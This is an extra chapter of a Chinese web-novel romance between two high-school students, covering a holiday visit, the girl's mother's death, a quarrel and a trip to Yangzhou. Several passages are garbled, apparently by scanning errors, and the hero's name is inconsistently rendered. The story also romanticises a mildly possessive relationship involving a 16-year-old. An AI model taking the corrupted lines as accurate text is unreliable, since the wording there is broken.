李潇嗯,看她不纠结会不会卧室了,就顺着她的话继续:“睡地毯弄得被褥还挺舒服的,打地铺就是冷点。 她丢掉笔,不写了。 眼睛亮亮扑过来:“没关系啊你比较暖和。我不想写了,我们看电影吧?" 李潇:“" 算了算了,别和她计较了。 他心里微叹口气,伸出胳膊把她搂到怀里:“看什么。” 她说不知道,拿出自己的小平板选来选去。 最后什么电影都没选出来,拉着他看宫斗剧。 还兴致勃勃给他讲解。 李漾脾气真的怪好的,平时这种剧他绝对不看,但是她喜欢,他就能耐住性子陪她看。茶几上还摊着她的寒假作业。 李潇从后面抱着她看,顺便拿笔,把她空着的最后两道大题给她写了。 他经常做这些事,陈家月已经习惯了。 她本来不敢早恋,后面发现和他谈恋爱也挺好,要是以后能一直这样跟他谈恋爱,她就不会不敢了。 然而精力再好,她到底是生着病,闹觉,宫斗剧精彩得她强撑着看了好几集,终于坚持不住,看一眼时间,晚上两点多。 陈家月脑袋歪到他肩上,有气无力亲了他一口:“我睡啦。” 他温声笑:“嗯。" 陈家月自己卷着被子卷成个小饭团,李满没睡,帮她把茶几稍微收拾了,再去厨房倒了杯热水,保温杯存着搁到茶几上,以防她晚上起夜要喝 做完这一切,他才悄声关了客厅的灯,摸黑睡到她身边。 被她迷迷糊糊手脚并用抱住,他摸住她搁上来的手,放到胸口。 正要闭上眼睛,身边人不知是梦是醒,忽然轻声问了句:“你说要是我们结婚了。" 他一愣。 她沉默一下,把话续上:“结婚了也是这样吗?" 李潇没吭声,无言很久,才笑笑低声道:“嗯,可能吧。 可是只有他知道不是,他转过脸,盯着枕边娇憨的睡颜,他心里有瞬间很不应该地想 要是结婚了,才不可能是就这样就睡了。 她不懂而已。 然而不管怎样,他回老家之前,为了补偿她,陪她待了很久很久,可是即便如此,到他真要走的时候,陈家月还是特别不高兴。 和他打电话说:“我要去车站送你。 李潇失笑,很无奈:“不要吧宝宝,外面多冷。" 可是她在电话那头说:“我不管,就要,我要去送你。 他只得妥协。 给她说了要出发的日期和时间,还有列车班次之类的。 他是跟赵舒婉一起走的,赵舒婉怀里还抱着孩子,李谈恋爱的事,没打算瞒着赵舒婉。只是通常他自己的事,都是自己处理 他性子稳重,很多时候比成年男人还有成熟些,赵舒婉就不太会干涉他。 所以他也没特意和赵舒婉说. 他让赵舒婉先进去,自己去门口等着,没多久就看见抹娇小单薄的身影,出现在高铁站外。 她那天穿了件很软的 线手白色外套 像 个小备 样扑到他怀里 四至4明图就红了 "我全 不得你 周围人来人往,都是回家过年的人潮,李怕她被撞着,搂住她肩膀后退,退到墙边,才低眸。 他替她擦泪,很温柔说:“过完年我就回来了。 她不高兴地应了一声:“那你要早点回来。 他说好。 她就点了点自己脸颊,点出一个窝窝:“亲亲。” 李弯唇,往她手指点的地方亲了一下,又往她唇上印了一下。 陈家月当时呆住,傻乎乎抬头看他。 最后好丢脸埋在他怀里:“我只让你亲脸的。 李潇说那怎么办:“亲都亲了。" 她想想觉得好委屈,又觉得好亏,被他占到便宜了。陈家月锤了他一拳:“那你提前一天回来。 好娇的小姑娘,发个脾气都娇娇的。 他终于低声笑着说好,答应她提前回来,最后操了条她长发,黑瞳温柔看着她:“想我就给我发消息,我会回的,除夕和正月可能回得慢一点,那会家里有事要忙。你要是实在想我,喊我戴耳机跟你挂电话。 她软软说哦,说她知道了。 然而李潇不知道的是,舒柔的病越来越严重了,已经到了没办法治疗的地步。 她是心病,精神上的病很难根治。 舒柔还没有被送回来,陈家月见不到她,即使心里再担心,可也不知道如何表达 她觉得害怕,无助而不按,身边唯一能让她说说话的,其实只有李。 他温和包容,不管出什么事,总是会护着她。 她心里,其实早就把他当成很重要的一部分。 可她也会觉得不好,有时候会胡思乱想,会觉得她这样子,会不会有点太黏人了。 有次她和他打电话,她忽然说到这个话题。 那头沉默了下:“不会。" 陈家月小声说: “真的吗。 “嗯。”他温声, “宝宝很可爱。” 她就又放松下来。 陈家月说:“我好想和你一起过年啊。" 他不在身边,她总觉得不习惯,有点孤单,她不想放假了,好想开学:“还不如上学呢,上学的时候天天能见到你。" 还可以一起吃饭,晚上他送她回家,和她说晚安之前都会亲她。 现在亲亲都没有了。 陈家月不开心。 电话里李潇笑了笑,她在这里和他要小脾气,其实他和她是一样的心情。他想回润州了,和旁的无关,她在那里,他觉得自己的归属就也在那里。 李潇说:“嗯,那开学见了面给你抱,宝宝今年在哪过的年啊。 陈家月气死了,直接忽略掉他后面那个问题,气鼓鼓说:“谁说要等到开学啊,你不是答应我提前回来吗,你讲话不算数,你骗小孩。 李潇闷笑,声音听起来很磁哑:“好好好,我早点回来。 陈家月这才心里舒坦了,告诉他:“我在外公家里过年的,舅他们也在。 他轻嗯:“人多热闹,宝宝就不会孤单了。" “那我们什么时候能一起过新年?" 李潇沉吟了会:“可能要到,毕业之后?”她现在还是小姑娘呢,大过年的,他把她拐走了是不是也不太好 陈家月想了想,还算了一下:“啊,那还要好久啊。" 她居然还真的去算,李潇被她可爱到了,面容变得柔和而宁静,只是她隔着屏幕,看不见而已。 他低头,那年新年广西落了很大一场雪,那时候陆承风在洛杉矶参加数据检测会议,和他畅想未来,那年他觉得未来有很多条路,无数种可能. 他没有告诉她那些可能,可是在他计划的每一段人生里,其实都有她。 只不过李潇特性使然,做不到的事他不会凭口说罢了,他觉得那样不好,他准备等一切都尘埃落定,再告诉她 只是眼下最要紧解决的一件事:“宝宝今年过年收到多少小红包了?" 说起这个陈家月还挺开心的,跟他说等一下,然后翻出自己背回舒家的小包,把里面的红包翻出来数了数:“好多哦,外公的,外婆的,舅舅的,我表哥也给啦,还有小表姐.哇好子多钱。 “我有钱啦。”她哼哼。 柔软的小调子,像是在捏他心脏一样,李莞尔:“我也给宝宝准备了红包。 电话里调子瞬间兴奋起来:“真的吗?" “嗯。”他温声说着,给她划了个账,“我们这里要放烟花了,想看吗。” 市区是不让放烟花的,李在农村没关系,查得不严,陈家月正想说想看,微信他的聊天框跳出来一条:转账2000. 陈家月一愣,忘记要说什么了,也不敢点接收。 本来舒家过年就是图个热闹,舒羡之和舒世杰通常会一人给一千,其余的亲威给八百五百,不要越过舒羡之就可以了。 陈家月觉得她男朋友这个两千块的红包好烫手。 那年人均工资不算高,他甚至都没工作呢,哪里来的钱啊。 “嗯,怎么不说话了。”他温淡的声音传出来,听着像是迟疑,“不高兴吗。 他抿唇。 他不好细问她家里一般给多少,他也没打听过,只是能察觉出来,她家境其实很好。他不知道要给多少合适,看她不吭声了,他以为给的少了。 心里难免有些紧张。 好半晌,电话那头传来一声微弱的:“我,我真的要收吗? 他一愣。 她顿了顿,很苦恼道:“好多啊,我不敢收啊,我外公不让我收人家这么多钱。 舒家家教非常好,成就高低不论,做人人品不能败坏,陈家月从小每回去舒家,舒美之就要教育她踏踏实实做事,本本分分做人。 这个钱不是亲戚的她不敢要啊,会被骂死吧。 她还以为他就发个一两百意思意思呢。 她磨磨蹭蹭把原因讲完,李潇笑了,她也不知道他究竟笑什么,好羞恼:“笑什么嘛。 李潇止住笑意:“笑你啊,男朋友的钱就是你的钱,为什么不敢要。" 陈家月从小到大没听过这种歪理:“真的吗?" “嗯 他哄她:“以后男朋友是不是要结婚的。” 陈家月脸一红,讷讷说:“嗯啊。" “结了婚不就是老公,老公的钱为什么不敢要。 啊啊啊啊他在讲什么啊陈家月好想捂脸啊!她受不了了!沙发上有毯子,她把小脸埋进去:“你现在又不是。 “说不定以后是。”他说,“收吧。” 她纠结了一下,但是反正都被他这么说占便宜了,不收白不收。陈家月翻身爬起来,立刻点了个接收。 他笑音又低低蔓延开:“收得还挺快。" “乖宝,我到时候早点回来。 她默默搂着毯子翻个身,耳根滚烫:“哦。 他说到做到,那年寒假,他原本要在家里过初七,然而年初三时,陈家月还在家里睡觉,半夜两点多,迷迷糊糊收到他消息。 栗子哥(陈家月给他的新备注):【宝宝睡觉了吗。】 她睡眠浅,过年放松得太过,熬夜太狠了,这会刚睡下没多久。 陈家月掀开眼皮,给他回:【还没呢,才要睡。】 他说: 【我回来了。】 陈家月一下子就从床上坐起来了,她感觉是自己眼花了,可还没等再细看,他的电话打进来, 陈家月手忙脚乱接起:“嗯?" 他那里人声嘈杂,凌晨两点还不安静:“我到了。” 陈家月提了口气:“在润州吗。" 他顿了顿:“没有,在南京。 李潇说:“你不是在南京过年吗。” 就像是滚烫的水被吸入肺腑,陈家月有瞬间觉得手指都被烫得蜷缩起来,他们开学还要两周,她不懂他那么早回来,是为了什么。 她扁了扁嘴:“你不是说就提前一会儿回来吗。" 她还以为起码要等过完初九。 然而那头男生哼笑一声,夹杂着人潮汹涌和风的呼啸,他沉沉说:“想你了。" 所以就回来了。 陈家月赶紧披衣服下床:“那我打车去找你。" 李潇微愣:“不用。”他低声说,“外面下雪,太冷了,你在家乖乖待着,我来找你。 她把小公馆的地址发给他,南京南站到颐和路并不远,半个多小时后,他说:“我到了。 陈家月踏着夜色下楼。 那时候梧桐叶都凋落了,只有零星几片还残存在枝干上,她悄悄推开小公馆的大门,就看见那道黑色的身景如梦似幻,静静嘉立在梧桐树前 看见她来,他朝她伸出手,陈家月一下子扑到他怀里:“我好想你。” 她抱抱他,闻到熟悉的味道,又踮起脚:“好想你。" 温软的吻就落在他下巴上。 他笑,单手拢住她肩头裹进自己外套里:“嗯,我也好想。 想到受不了,想到去买凌晨的火车票。 128、11 态度坚定 那年二月末,舒柔病逝了,陈家月给她整理遗物的时候,在她床头柜里发现个小匣子。 她打开,里面是自她出生开始,舒柔写的一些日记。 【三月二十六,今天女儿出生了,她好软,好小一点,我抱在手里都舍不得碰,总觉得会把她嫩嫩的皮肤弄破了,爸和哥来看我,如晦不在,我能感觉爸好像是有点生气了。 也是,我牛孩子的时候他都不在,难怪爸发火。 大哥说, 别管他,让我自己给孩子取个名字。 我想了很久,叫她什么好呢,很纠结,她出生的时候是晚上,床头挂了弯月亮,很漂亮很漂亮,我就想,要不给她名字里带个“月”字。但是我也想叫她“蝉衣”,,主要是爸喜欢,他开药经常开这味药,小时候我就身体不好,经常生病,他每回开清热解毒的药,都会给我用这个,对我来说真的很灵。我哥说我女儿就和我的药一样,有她陪我,我就会安心了。我觉得他说得很对,如晦很少回家,幸好有小姑娘陪我。不过我还是给她想个带“月”的名字吧,这个好听点,如晦应该也不想用中药当女儿名字,他不太喜欢中医。】 陈家月愣了愣。 她继续往后翻。舒柔记得不多,也不连贯,陈家月粗略看过一遍,发现通常只有陈如晦不回家时,她才会记得多。陈如晦在家时,或许是她心里高兴,并不觉得孤单了,舒柔心情也会好很多然而陈如晦在家的时间实在是太少了。少到她后来,即便他不在家,她也不会在写这些日记,因为差不多的日子太多了。舒柔的病越来越严重,到最后,就连吃药也没办法让她恢复生机,她好像一株枯萎的植物,形在,而神魂已经飞散了。陈家月把那本日记抱在怀里,默默哭了很久。她或许就是从那时候开始,第一次真正对父亲失望的。那本年岁已然快腐朽的日记,她把它放在了自己的小木箱,和她平时的试卷资料放在一起。 陈如晦永不知晓。那是陈家月第一次做这样“自私”的事,她其实也搞不懂自己,为什么不想让陈如晦看到。她只是觉得陈如晦回来得人晚了不是所有事都会留在原地等他。 那年三月,她过得很不好,大雨湿淋淋下了好几场,她哭了一整个三月。 唯一的好处,是至少还有李潇在。 她太伤心,不愿去学校,甚至一度也不想见人。李起初不明白发生了什么,他等不来她的人,于是直接上门找她. 陈家月其实照顾不好自己,吃饭是胡乱吃的,在家浑浑,连澡也不洗。 她都觉得她脏透了。 李潇没说什么,笑笑把她眼泪抹干净,哄她去洗澡,做饭给她吃。她没胃口,吃了两口就会放下筷子,继续掉泪,眼泪一滴滴落在碗里,砸出小水洼:“他们都不要我了。"姑娘不好好吃饭,没多久就瘦了一圈,她本来就没多少肉,看着更加可怜。李潇知道吃不下,可是不吃饭怎么行。他想了很多办法,煮粥,做蔬菜汁,她吃不了荤腥,他就做能入口的,一点一点喂。她很显然得更加依赖他,喂她喝水的时候,她会住他衣袖,很小声地说:“以后我们也会分手吗?" 她不喜欢离别,不喜欢动荡与变化,不喜欢明明从前感情那么好,到最后还是会分开。李潇心口一涩,抬手抹掉她的泪,嘶哑着声音道:“不会,不会和你分手,不会走的。陈家月紧紧抿着唇,眼眶蒙着一层泪,沉默两秒,转身扑过去抱住他:“我不想分手。他揽住她单薄的肩膀,保证:“不会分手的。" 李潇默了默,一字一句对她道:“不会分手,我会一直喜欢你。"他说这句话的时候用的是真心,他也是真心想过他们永远不会分离然而世事就,是那么无常的东西,他那年怀着满腔的热忱和爱意,以为这条路往下走就是永恒,曾经幻想过他们会顺利毕业,订婚,结婚,成家立业,儿孙满堂他甚至从来没有想过,原来人也有无能为力的时候。 陈家月那年小高考考得还不错,四月初,学校组织去世业洲研学,三天两夜,说是研学,其实就是抽空给他们放个假,当时他们考的还是老江苏卷,小高考卷得很拼。 住在世业洲的第二天晚上,学校安排表演节目,晚上有放烟火。那之前,陈家月和李吵了一架。具体吵架的原因是,他前段时间总被外校一个女生找,女生性感漂亮大长腿,有认识的人说,这个女生以前是和李潇一个学校的。在初中就是风云人物,还和李潇传过绯闻,因为两个人都太出挑,年级里白然而然就会把他们两个联想到一起去。就好比她和陆承风,当时也是这么被传绯闻。陈家月有小情绪了,陈家月很不开心。陈家月不开心就想找他吵架。最初一次两次还好,后面吵急了,她气不过就想说分手,他当然不可能同意,李把她晚自习拉去备用教室,想和她解释他对她说:“你骂我打我都好,你想听我也能和你好好解释,可是不可以说分手知道吗?"可陈家月正在气头上,才不想听他讲,推开他就回教室。 那是去世业洲前一晚,她气呼呼和他大吵一架,下晚自习没等他就自己跑了。夜晚漆黑黯淡,她抹着眼泪踏着夜色。 那还是这几个月以来,她头一次自己回家。 他晚上给她发消息,她也没回。 陈家月不高兴,不想和他说话,可是真的收不到他消息,她又觉得很想他。 她第二天坐上车走的时候都是气鼓鼓的。 身边何小恬察觉到她的情绪不对劲了,问她。 她也不肯说。 住宿是按照男女分的宿舍,他和她离得还挺远,陈家月和同班女生住世业洲是江心一个岛,建设得还挺好的,靠近住宿的地方就有小卖部她和室友买完东西回宿舍,路上碰见他,据了抿唇,正想低下头绕过。李走了过来。他垂睫,往她手心里塞了根荧光棒。晚上有表演晚会,这是学校统一发的东西,很细的一根,和正儿八经演唱会的光棒没得比。然而都是年纪小的学生,青涩稚嫩,有这根荧光棒也欢喜得不行。他给她塞了这个就走了,一整个过程都没有和她说一句话。身边何小恬终于意识到她为什么情绪低落了:“你们吵架啦?"陈家月小声说:“没有。"默默盯着荧光棒,心里面不知道在想些什么。 她也不知道他的用意,他把自己的给她,然后呢,他什么意思呢。陈家月难得有些气闷,干脆狠狠拍了那根荧光棒几下,当做是在拍他。 相当幼稚的行为,连何小恬看到都笑了。 “笑什么。 "没!" 何小恬哪敢说啊,月月看着脾气好,小猫龇牙也是很吓人的好不好。 只是陈家月想了一万种原因理由,就是没有想过,那天晚上,他会唱一首歌来和她道歉。 那首歌叫《我爱你》。 整个年级都知道他们谈恋爱的事,整个年级都知道他女朋友是谁。 班级位置是固定的,他唱歌的时候,又一直紧盯着她的方向。 陈家月想,不可能的吧。 他那种,孤僻真言的性格,平时人多一点的地方他都不想去,一般他们两个在一起,他都是安安静静看着她。偶尔有些轻微的控制欲,不强烈,只是放在他身上恰到好处。 李潇的控制欲,就体现在他不想和别人说话,因此也不许她和别人说话上。 他这样的人,怎么可能在台上唱歌给别人听。 他真的唱了。 前奏一响起,很多起哄的声音就跟着响起来,当然也有女生的窃窃私语,只是都明白这是唱给谁的,那些低语,就都像是水痕,渐渐地消失了。 他说:“因为你生气,我爱你,让我亲,你倔强到极限的心。 陈家月一下子难过起来,她想他在台上,肯定还是不自在的,不至于紧张,只是对于李满来说,当着那么多人的面诉说爱意,实在是很为难他的事,那么多双眼睛在盯着他,那么多人在听他对她说话。这首歌指向那么明显,几乎所有人都能明白,他就是来道歉。她眼睛都湿了。那是他们第一次吵架,或者换个说法,那是她第一次对他进行单方面输出,李潇基本不和她吵,都是她在他面前发小脾气,他默默耐心听她说完,低声下气哄她,其实陈家月也不是那种很作的姑娘,只是他哄得太好了,给的台阶把她却越拾越高,让她忍不住就想他再哄一点,多哄一点。 到后面,陈家月就想看看他底线究竟在哪里。 可她没有想过,他没有底线。不管她发什么脾气,闹什么别扭,不管她对他说多少次重话,有时候她都觉得过分了,李还是会温声道歉她看着看着,他那首歌唱完,底下坐着整个年级的学生,都很兴奋,陈家月却捂着眼睛跑出去。 她没有跑出去很远, 因为在走到树林里面时,就被人从后面住手腕,紧接着扯到怀里:“不生气了好不好。 陈家月觉得自己没在生气了,就是突然哭了好丢脸啊,她别过脸不想给他看。 他以为她还是不想搭理,男生顿了顿,连语气都染上浅浅的疲惫:“理理我,家月。 夜色朦胧地笼罩在他身上,眼前男生清瘦得很,身形很挺拔。她都一周没和他好好说过话了,也没怎样好好看过他每天见面,不是在吵架,就是在吵架,她昨天还把他丢掉,自己走了。陈家月突然就觉得心里很不安,嘴巴一扁就哭出声,回身抱着他说:“我还以为你会和我分手。" 他一顿,单手拢住她后脑,压进怀里:“不会,为什么这么想。"陈家月抽噎道:“因为我说了好过分的话,我觉得要是我,我就生气,就会分手了。她的确讲得很过分,每次吵架都会说要分手,陈家月自己也觉得不好,但是又实在忍不住她那种状态很奇怪,明明不舍得他走,可偏偏要说尽伤人的话,就好像是在测试他,究竟会不会离开。 他失笑:“不会走,会一直喜欢你。”她脑袋抵着他肩头呜呜地哭。 那年少年身体还很单薄,被她倚靠,还是会显得没那么强大和成熟,然而他的答案已经成熟不管和她经历了多少事,之后还会不会有别的阻挠,他的心意,就写在那晚他的歌里。他很爱她。可是那个年纪说爱还是显得太稚嫩,太轻易了,不够诚心,也担不起爱的分量和沉重所以每一次她问他类似的话,他都只好一遍遍反复告诉她。 他喜欢的。 他不要离开她。 129、12 “你的声音” 世业洲的最后一晚,下午返校,紧接着就是周末,他们都说这届假选得挺好的,三天两夜连着周末,简直比五一小长假还划算, 陈家月那天下午没回家,李潇带她去了扬州。他们在扬州住了两天,晚上夜游古运河,暗河灯火,街边人很多也热闹,李溁牵着她在岸边走,路过看到很多卖饰品的小摊,问她喜不喜欢。陈家月其实挺喜欢这些亮品晶小玩意的,刚想点头。然而看他一眼,陈家月说:“还是不要买了吧。”他问为什么,她戳戳摊上的东西没吭声。 看吧,现在没谈多久,就已经吵架了。有个男生说得挺脏的,李把他打了,踩着肩膀问他:“我跟她哪里不配?"那男生后来去找他班主任,这件事一周才解决完。之后李没再提这事,其实他也不想的,只是那些话,总是刺激着他的神经,“真不要,这个手链挺亮的不好看吗。"陈家月难得敏感有了意识,觉得她的男朋友好像很低落,她挽着他胳膊,小脸黏在上面贴了贴。片刻后说:“那我喜欢这个绿色的,好漂亮。"他给她买。那晚他们回宾馆,李潇从进去开始就亲她,亲着亲着情绪有点失控,他房间只订了一个标间,两张床,那么堂而皇之摆在那里。陈家月最初觉得还好,然而警了一眼那床,面红耳赤隔开他:“不行。" 他们吵架的那段时间,学校里其实有很多闲言碎语,尤其是那些男生,老说两个人不配,陈家月是好学生乖乖女,而他是个有些孤僻的人,家庭情况也不行,差距太大肯定迟早要散. 他没听,继续吻。他比从前吻得更急,也将她惠得更紧密,陈家月从他气息里察觉出一种不安,就好像是很害怕她会把他推走。可是她快要被吻得喘不过气了。“怎么不行。”他又被锤了两下,慢慢停下来喘气,“宝宝,为什么不行。陈家月眼里蒙着泪:“我,我没成年呢。” 她生日是三月份开春,她上学又早,而且还在念高中,她不能,不能那个。李潇大概没理解,顿了顿:“嗯,怎么说这个。"陈家月抵着他胸膛,别过眼耳根滚烫地小声咕哝:“就,就告诉你一声,没成,不能那个。“什么。"陈家月眼睛一闭,爆红着脸:“跟你睡觉!” 他默了片刻,终于忍不住低低笑出声。她觉得他恶劣得要死,恨不得捶死他:“你笑什么啊。”他是觉得她可爱,她才多大一点,平时脑袋里都装着学习,怎么到他面前就能想到这些。可是连他自己都没这么想过,他梦见过那些很旖旎的画面,只是从来没和她提及。他故意板着脸:“那我要是就要呢?“不行!"她像个受惊的兔子,眼圈红通通的,很委屈巴拉地说,“你要这样,我就叫人,不理你了。"半点威慑力都没有。李潇弯唇看她几秒,不逗她了,伸手把她搂怀里:“那睡觉。陈家月都觉得不敢相信:“就睡觉啦?"他笑了:“你还想怎么样?" 陈家月脑袋一低,埋他怀里蜷缩起来。其实她还是想亲亲的,就是有点不好意思说,但是可能房间黑暗,她长胆子了。陈家月撇撇嘴,有点紧张又有点期待:“亲亲呀。"被他吻了吻额角拥进怀里:“宝宝,你几岁。”她眨巴眼:“十六。"他心里温柔又好笑:“那我还得等几年。" 他上学晚一年,比她大两岁,他成年了再过两年,她才堪堪十八岁,李莫名有种欺负小女孩的错觉。 然而等到那个时候,他们还在一起吗。 陈家月看他只是抱着她闭上眼睛,她抿唇想了想,滚到他怀里紧紧黏住他:“但是这样睡觉是可以的。李潇一笑:“你去那张床睡。”“我不要。他还说她!陈家月气鼓鼓把被子蒙过头顶,在被子里踢他一脚:“就黏人就黏人。"身上幽幽的香气传过来,李笑笑,闭上了眼睛。陈家月其实不明白他为什么带她来扬州,明明周边有那么多好玩的地方呢,不过她自己猜,难道是因为离得比较近?这样周末往返方便? 她不知道。 她唯一知道的是,李潇好像不是第一次来扬州,他对这里比她熟。他说得出扬州好吃的茶社,也知道哪里赏花最好,他甚至带着她,把扬州有名的景点,都差不多玩了一遍. 瘦西湖,二十四桥,大明寺,何园。 只是走到大明寺的时候,李潇多停留了阵,陈家月问他怎么了。 寺宇古意森森,李漾静静望着铜炉鼎后的大殿道:“来还个愿。 她没多问,他要去进灶香,她也添了一炷。 烧完香去外面转了转,大明寺有座后堂进去是竹园,四月风拂过万竿斜,很好看。李潇带她去里面坐了坐,望着随意晃动的竹林,淡声说:“其实我之前来过一次扬州。"她猜出来了,陈家月不说话,眼睛湿漉漉望着他,抱住包,走路累了,她撑着膝盖休息。轻薄的裤管卷了两道上去,露出来一截儿脚踝,细瘦伶仃,白得打眼。 李说:“那时候我们还没在一起。" 听他这么说,她也有了好奇,转过头惊讶问:“那你来这里干什么呀。他大概是觉得难以启齿,垂睫笑了笑,片刻后才温声说:“那时候以为不能和你在一起了,挺难受的,就想找个地方待一会。" 陈家月一愣。 她是有听说李潇请过几天假,大概是十一月末,十二月初那段时间,她当时尽管躲着他,只是都在一个学校,食堂体育课,路上总能碰见. 可是奇了怪,他就像是消失不见了一样,陈家月整整一周,都没有在学校看见过他。 她心情很不好,心里不好受,可偏偏不敢去他们班上问,也不敢去找他,给他发消息。 因为那时候,她还懵懂,连自己的心意都确定不了。 她不想随随便便就和他谈论那个事。 可真的到了见不到他的那一步,她又额外想他。 陈家月后来夜半时分,回想起来和他在一起的点点滴滴,躺倒在床时,也曾经想过。 是不是其实早在那个时候开始,她就已经非常,非常喜欢他了。 陈家月说:“所以你就到这里来了?" 他轻嗯。 顿了顿,补充说:“朱子星他家里在这边也有个小店,我当时就住在附近。 天色昏蒙蒙暗下来,看着像是要下雨了。 他表情比天色更加暗沉,眼底透出一片被雨水打湿的沉静,望着她娇美的脸庞,无声无息。 那不是他第一次和她提,在一起后,李就和她说过自己的朋友圈。 她都认识了,朱子星和他一个初中,关系到现在都还是很好。 陈家月抿唇,莫名问了句:“那个时候都深秋了,很冷了,你一个人住的时候冷吗?" 竹林声飒飒,有雨滴滴落的声音。李说:“不冷。”思虑片刻,又道,“那天是我生日。” 她微微睁大眼睛:“你生日?" 她是真的不知道他生日,她这几个月恋爱谈得很高兴,几乎忘乎所以,还是前一阵子想起来问他,才知道他生日就在十二月。李潇摸摸她的脸:“没事,没想怪你。” 他摇头:“我生日都过去了,宝宝。 陈家月心里过不去,扁扁嘴有些难受:“可是我就是觉得难过嘛,你过生日我都不理你。 人就是这样,意识不到自己心意,还可以闭目塞听,把别人的真心视而不见,觉得他爱她是自愿的,又不是她逼他,所以可以不负责,不在意也没关系。 然而一旦自己也爱上,过去那些忽略掉的细节,他的温柔,就都会变成刺向心脏的针和剑。 避不开,躲不掉。 她看着一副做错事的模样,李心一软:“想要什么都可以?" 她有些认真点点头:“嗯。 他轻笑一声:“那你亲我一下。" 陈家月脸瞬间就红了,板着小脸扭过头去,李潇故意说:“你不是说什么都可以吗,好坏,不守信用。 最后她还是别别扭扭,转过身,飞速往他唇上亲了一口。 被他攥住手腕,使了点劲拉到怀里抱好:“其实我觉得这样就很好。"他说,“你已经在我身边了,我想要的生日礼物,现在都得到,我不贪图更多了。 他怀里很温暖,陈家月本想顺着他的话应是,然而只要想想,他生日那个夜晚,是怀着怎样的心情度过,她就说不出口来。 她明明默许他靠近,然而又把他推开。 他都没发脾气,在一起之后总是顺着她照顾她,她心里很胀很疼:“所以你之前来大明寺,求的那个愿望,就是和我在一起吗。他点头,又摇摇头,最后笑出来了:“也不算,当时小高考在最后一轮复习,我听说这边求成绩挺灵的,就给你求了个顺顺利利。嗯,也顺便问了能不能跟我在一起。"她抹掉眼泪,从他怀里下来:“你挂小牌牌了吗,我要去看。 他带她去看。 李潇也不知道怎么翻出去的,他居然把祈福的小牌牌挂在竹身上了,他解释说:“外面挂得太多了,我怕被挤掉,挂这里最安全了,也不会很多人来。 雨下得愈发潮湿,他给她撑伞,将她单薄的身体纳入伞下。陈家月走到那片竹林前,很容易就看见了那一枚红色挂牌。 那么鲜艳,即便雨水浇湿了牌身,颜色变得黯淡,可还是一眼就能望见。 她把牌子转过来看,果然看见在牌身背后,他整齐却算不上多么好看的字迹。 【陈家月万事顺利】简简单单的七个字,李潇笑着解释:“我语文水平有限,想不出更多了。”那些很华美的辞藻他是不懂的。陈家月小声说:“这个就很好。”她抬眸,眼瞳像是被雨水洗刷过,黯淡而温柔。陈家月望着木牌出神,忽然说:“其实我的愿望也实现了。李潇没吭声,只是垂睫看她,大概并没懂她的意思。陈家月说:“以前我爸经常不在家,那时候妈妈生病,没人照顾我,我很孤单。很想有个人陪我,也很想有人可以胞时随地能听我分享心事,不会觉得我很烦,不会媒弃,把我踢开,愿意包容接纳我的小脾气。她想起先前和他吵架,有些心酸:"之前和你吵架,其实我也不知道为什么会那样,明明知道不好,可是总是控制不住,我又害怕你走,又忍不住想推开你,想看看你究竟会不会走。“你不知道,那天晚上和你生气,自己一个人回家,其实在路上的时候,我想过很多次,想你究竟会不会追上来。"“会不会就在楼道里等我,在我回家的时候和我说,不要吵架了好不好。“可是后面我又忍不住怪自己,我想我者口你说那么不好听的话了,换做是我,我肯定气得删除拉黑算了——我那天晚上其实没睡好,一直在等,我也不知道等什么,可能就是在等你和我说受不了了,分手吧。 他沉默,雨水敲击伞檐,他握紧她肩膀拥入怀中。陈家月很难受说:“可是你都没说,而且后面还唱歌给我听。“我其实当时就觉得你太坏了!完蛋了,要是以后我们分手了,我找不到像你这样的怎么办,那我不就只能喜欢你了吗?她说着说着都有点生气,要小脾气踢他:“你还挺有心机呢!坏人坏人坏人!"被他心酸又温柔地抱紧她笑了:“干嘛说我坏。“你就是,我现在最最最烦你了。““真的吗。“嗯。”感觉又不是很确定,陈家月想了想,还是坚定点头,“嗯,对,他低头,堵住她嘴唇.她的唇很软,少女身体馨香,是他一辈子忘不掉,午夜梦回会反复想起的味道“我从前也不知道我真的会跟你在一起,我觉得我确实不是最好的,没想过你真的能喜欢我。"他珍惜地摸了摸她香软的发,“可能都是命运太巧合,把我们安排到一起了吧。陈家月圈紧他紧窄的腰:“嗯。”李漾看了眼那个木牌,从口袋里摸出支水笔:“"好喜欢扬州,以后想把我们走过的每个地方都记录下来。你还有没有想添的话?可以加在后面。“我拍个照片留念,很多年都不会忘。陈家月其实没什么要加的话,然而看他瞬息,还是接过笔:“好啊。"她把木牌翻过来,在紧挨着他字迹的地方,认认真真工整地写了一行:【我最喜欢李漾,谁也不能和我抢李潇】她还怪幼稚,李看了好气又好笑:“谁会和你抢啊,你真是。“怎么没有!"提起这个她又要生气,“你们班女生啊,还有别的班女生啊!我不管反正喜欢你的好多!气死了气死了又不想理你了。她把水笔还给他,扑到他怀里紧紧揪住衣襟:“我跟你说,就算我们以后分开了,你要为我守身如玉知道吗,敢找别人你就完蛋了!我捶死你! 她还讲不讲理了,他都听笑了。然而看着她委屈又执拗的眼睛,李喉结滚了滚,沉默片刻,低声道:“嗯,好。他从来不会答应做不到的事,她有恃无恐,是因为一直都知道。陈家月开心了,又有点害羞,埋他怀里自己蹭了半天,才重新冒出脑袋:“现在我知道你那句话是什么意思了。他一愣:“哪句。" “就是去年暑假我们一起补课,你坐在窗边,我第一次和你坐的时候,你说的那句。"她说:“那天下课的时候,下了很大一场雨,电闪雷鸣的,很吓人。我问“你在看什么’,你当时说了句。“你问我,听见了吗他表情有了变化,身后院墙光影交错,她凑近他,踮起脚尖,模仿着记忆里他那年的语气:“下雨的声音。李潇眼皮狠狠一跳。就像是有什么在挠着心脏,很轻,很痒,细细密密的琐碎,和雨声一样恼人。最恼人的是,她往后退开半步,背着手歪着脑袋,清亮亮的眼眸安静而纯情地望着他,说:“我现在听到啦。 下雨的声音。 你的声音。 【番外·听见下雨的声音,完】